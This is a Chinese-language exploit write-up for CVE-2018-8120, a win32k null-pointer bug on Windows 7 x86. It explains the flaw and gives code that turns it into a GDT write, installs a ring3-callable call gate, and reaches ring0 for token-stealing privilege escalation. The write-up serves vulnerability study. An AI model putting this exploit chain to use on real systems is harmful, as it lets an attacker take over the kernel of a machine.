#CVE-2018-8120
##0x00 漏洞详情
本次漏洞属于空指针解引用漏洞,发生于win32k下的SetImeInfoEx函数中,函数原型如下
BOOL SetImeInfoEx(
PWINDOWSTATION pwinsta,
PIMEINFOEX piiex)
pwinsta由上层函数调用GetProcessWindowStation(NULL)
获得,所以触发漏洞的前提为当前进程信息结构体拥有tagWINDOWSTATION成员,
这需要我们调用CreateWindowStation
创建WinStation对象并调用SetProcessWindowStation
添加到当前进程信息结构体中
win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
###tagWINDOWSTATION结构
win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
###tagKL结构
win32k!tagIMEINFOEX
+0x000 hkl : Ptr32 HKL__
+0x004 ImeInfo : tagIMEINFO
+0x020 wszUIClass : [16] Wchar
+0x040 fdwInitConvMode : Uint4B
+0x044 fInitOpen : Int4B
+0x048 fLoadFlag : Int4B
+0x04c dwProdVersion : Uint4B
+0x050 dwImeWinVersion : Uint4B
+0x054 wszImeDescription : [50] Wchar
+0x0b8 wszImeFile : [80] Wchar
+0x158 fSysWow64Only : Pos 0, 1 Bit
+0x158 fCUASLayer : Pos 1, 1 Bit
tagWINDOWSTATION 的spklList的成员为tagKL结构体(KeyBoad Latout结构体)链表的头节点,tagKL中 + 0x14处为HKL
- 在SetImeInfoEx中,函数取出spklList 链的首个tagKL的hkl成员与用户构造的tagIMEINFOEX结构体hkl成员对比,若相等,则进一步向下执行
win32k!SetImeInfoEx+0xc:
9c120071 8b4814 mov ecx,dword ptr [eax+14h] //pwinsta->spkllist
9c120074 56 push esi
9c120075 8b750c mov esi,dword ptr [ebp+0Ch] //piiex
9c120078 8b16 mov edx,dword ptr [esi] //edx = piiex->hkl (首个成员)
9c12007a 8bc1 mov eax,ecx
win32k!SetImeInfoEx+0x17:
9c12007c 395014 cmp dword ptr [eax+14h],edx//pwinsta->spkllist.hkl与piiex->hkl相比较
9c12007f 740e je win32k!SetImeInfoEx+0x2a (9c12008f) Branch
- 然后函数取出并判断tagKL的piiex成员是否为空,若不为空,继续执行,否则返回
9c12008f 8b402c mov eax,dword ptr [eax+2Ch] // eax <-pkl->piiex
9c120092 85c0 test eax,eax //piiex成员不为NULL
9c120094 74f2 je win32k!SetImeInfoEx+0x23 (9c120088) Branch
- 若piiex成员的fLoadFlag值为0,那么函数将把用户定义的tagIMEINFOEX结构体整个复制到piiex所指的地方,然后函数返回
win32k!SetImeInfoEx+0x31:
9c120096 83784800 cmp dword ptr [eax+48h],0
//if(pkl->piiex->fLoadFlag == IMEF_NONLOAD)(定义为0)
9c12009a 7509 jne win32k!SetImeInfoEx+0x40 (9c1200a5) Branch
win32k!SetImeInfoEx+0x37:
9c12009c 57 push edi
9c12009d 6a57 push 57h //57h * 4 = sizeof(tagIMEINFOEX)
9c12009f 59 pop ecx
9c1200a0 8bf8 mov edi,eax
9c1200a2 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] //复制
触发漏洞的关键在于,当我们调用CreateWindowStation
新建一个station时,它的spkllist为NULL,但函数并没有对其进行检验,于是会出现如下情况:
- 第1步中,比较语句将变为
cmp dword ptr [0+14h],edx
,edx为piiex的首个成员hkl,而piiex是由我们构造的,我们可以任意改变其值,而0+14h即0x14处为进程虚拟地址空间,通过一些方法我们可以安排其值与hkl相等进而进入下一步 - 进入2步,由于eax为spkllist的值,也就是NULL,所以将执行以下指令:
9c12008f 8b402c mov eax,dword ptr [2Ch] //
9c120092 85c0 test eax,eax
9c120094 74f2 je win32k!SetImeInfoEx+0x23 (9c120088) Branch
- 同样的,我们可以向进程地址空间0x2c处写入任意非0的值(这里我们称这个值为'WHERE'),满足继续执行的条件,进而进入第3步操作
- 第3步中,函数将向'WHERE'处复制整个tagIMEINFOEX结构体,也就是0x15c个字节的由我们定义的数据
综上,利用本次漏洞,我们可以实现整整0x15c字节的write-what-where操作
##0x01关于GDT和调用门
GDT为Global Descriptor Table的缩写,用于存放描述了代码段/数据段/LDT/各种门的结构体 想要获得GDT的地址,我们可以使用sgdt指令读取gdtr寄存器里的值,该指令为非特权指令,具体操作如下
UCHAR gtdr1[6] = { 0 };
ULONG GdtAddr = 0;
_asm {
sgdt fword ptr gtdr1
}
GdtAddr = *((PULONG)>dr1[2]);
printf("addrGdt:%#p\n", GdtAddr);
调用门提供了一种能让ring3代码调用ring0层代码的方法,调用门的结构如下:
- offset in segment:欲执行的代码在代码段内的偏移
- P:存在位,必须置为1
- DPL:由于我们欲在ring3呼叫调用门所以应为11(ring3)
- Type:调用门的Type为01100
- ParamCount:参数个数
- Segment Selector:代码段选择子
欲使用调用门,首先应向GDT表中添加我们的调用门描述符,然后执行如下操作:
WORD CallGateSelector[3];
CallGateSelector[0] = 0x0;
CallGateSelector[1] = 0x0;
CallGateSelector[2] = OurCallGateSelector; //调用门选择子,其实就是在GDT里的位置
_asm {
call fword ptr[CallGateSelector];
}
在进行呼叫调用门时,当前Ring3层的ss,esp,cs,eip将依次入栈
eip 调用门返回后执行的指令
cs 代码段选择子
esp ring3栈顶
ss ring3栈寄存器,进入ring0后系统将进行栈切换
在调用门例程中,想要返回执行ring3指令时,应使用retf指令,retf指令将依次弹出保存在栈里的寄存器值,由于我们可以修改栈里的值,所以说调用门返回的目标地址是可修改的
##0x02漏洞利用 由上面漏洞分析可知: 触发漏洞时,我们可以向由0x2c处存放的地址写入0x15c大小的任意数据 若我们借此修改GDT里的数据,添加一个调用门,就可以实现ring3层呼叫调用门,具体方法如下:
###1 .为当前进程创建tagWINDOWSTATION结构
HWINSTA hWS = CreateWindowStationW(NULL, 0, GENERIC_READ, NULL);
SetProcessWindowStation(hWS);
###2 .构造触发漏洞后复制入指定地址的fake tagIMEINFOEX结构体
VOID xxxSetFakeImeInfo(PIMEINFOEX fake, INT GdtAddr, BOOL Recover)
{
int * i = (int *)((PBYTE)fake + 4);
DWORD OriginData = GdtAddr + 0x160; // GDT里大多数项都是空的,选一个好位置进行修改
DWORD Loop = 0x57; //0x57 * 4 = sizeof(tagIMEINFOEX)
do
{
*i = OriginData;
OriginData += 8;
i += 2; // 越过一个entry,一个entry大小在x86下为8字节
--Loop;
} while (Loop);
//上面是在模拟GDT里的原始数据
if (!Recover) //是否需要修改GDT
{
*(DWORD *)((PBYTE)fake + 0x60) = 0xC3; //ret指令
*(WORD *)((PBYTE)fake + 0x4C) = GdtAddr + 0x1B4; //offset low
*(WORD *)((PBYTE)fake + 0x52) = (unsigned int)(GdtAddr + 0x1B4) >> 16; //offset high
*(WORD *)((PBYTE)fake + 0x4E) = 0x1A8; //call gate的cs段选择子
*(WORD *)((PBYTE)fake + 0x50) = 0xEC00u;//type:call gate DPL:11(ring3) 00000000 (固定0位 + 参数个数:0)
*(WORD *)((PBYTE)fake + 0x54) = 0xFFFFu;//limit low
*(WORD *)((PBYTE)fake + 0x56) = 0;
*(BYTE *)((PBYTE)fake + 0x58) = 0;//base为0
*(BYTE *)((PBYTE)fake + 0x5B) = 0;
*(BYTE *)((PBYTE)fake + 0x59) = 0x9Au; //cs描述符的一些flag
*(BYTE *)((PBYTE)fake + 0x5A) = 0xCFu;
}
}
这次我们向GDT表里写入了3项数据,分别是
- 一个调用门描述符
- 一个调用门所指向的代码段的描述符
- 调用门将执行的代码 0xc3 ret指令 也就是说,调用门指向的代码段里的指令就在GDT里,这需要我们精确把控描述符的Base和Offset的值
###3 .修改0x14,0x2c处的值
- 0x14的值用于满足SetImeInfoEx()里的判断条件,需要与fake imeinfoex 的首个成员相等,这里我们将两者都设置为0
- 0x2c用于存放我们欲写入数据的地址
- 想要修改进程地址空间这两处的值,我们可以使用ntdll导出的未文档化的函数NtAllocateVirtualMemory
###4 .触发漏洞 可呼叫NtUserSetImeInfoEx,进而进入漏洞函数中
_asm push fake //压入fake tagIMEINFOEX
mov eax, IndexOfNtUserSetImeInfoEx //0x1226 对应NtUserSetImeInfoEx
mov edx, 7FFE0300h //KiFastcallEntryStub
call dword ptr[edx]
retn 4
gdt 的1A0 项被替换为了 80b9ec00 01a851b4
1A0 项被替换为了 00cf9a00 0000ffff
80b951b4处被替换为c3
分析如下:
80b9ec00`01a851b4 call gate descriptor
offset :80b951b4
selector: 01A8
param count :0
type: 0xc 1100 (call gate)
p dpl 0 : 0xe 1110 1(存在) 11(ring3) 0(固定为0)
调用门指示的代码段选择子对应GDT的第01A8 项:
00cf9a00`0000ffff code segment descriptor
limit: fffff
base: 0
G:1 段限粒度为4KB
D/B: 1 32位操作数
L:0 32位模式
AVL: 0 系统不可待用
P: 1 存在
DPL: 00 ring0
S: 1 code/data
Type: 1010 可执行,可读,未访问
于是在呼叫调用门时,将执行到 base + offset = 0+ 80b951b4处 而80b951b4处为c3 ret 此时将在ring0权限下去执行用户定义的代码
###5 . 呼叫调用门 由于调用门例程只有一个简单粗暴的指令:ret,这代表着将返回执行ring3层的代码,但cs并没有改变,所以代码获得了ring0的执行权限 值得注意的是,ret指令将eip从栈中弹出,刚才所说的栈将变为如下
cs 代码段选择子 <-esp
esp ring3栈顶
ss ring3栈寄存器,进入ring0后系统将进行栈切换
所以在执行完提权指令,返回ring3代码时我们还需要压入eip(至于是哪条指令可以自己定)以恢复堆栈,具体操作如下:
mov eax, [esp] //cs ->eax
mov CurrentCs, eax
add esp, 4
push EPROCESS
call StealToken
mov eax, CurrentCs
push eax //压入cs
push offset label //压入eip
retf //调用门返回
label :
xor eax,eax
###6 .进行提权 由于获得了ring0执行代码地权限,我们可以窃取系统进程的token 提权过程参考代码,不再赘述 ###7 .从调用门中返回(见上面)
###8. 执行恶意操作 这里我简单地创建了一个cmd,可以看到,权限已经被改变了 ##总结 本次漏洞利用可以参考@j00ru大佬以前发表的借助LDT/GDT进行漏洞利用技巧,本次漏洞针对win7 x86平台,由于任意写的长度很友好,所以利用起来比较简单,但其泄漏内核重要结构地址,获得内核函数地址的方法值得学习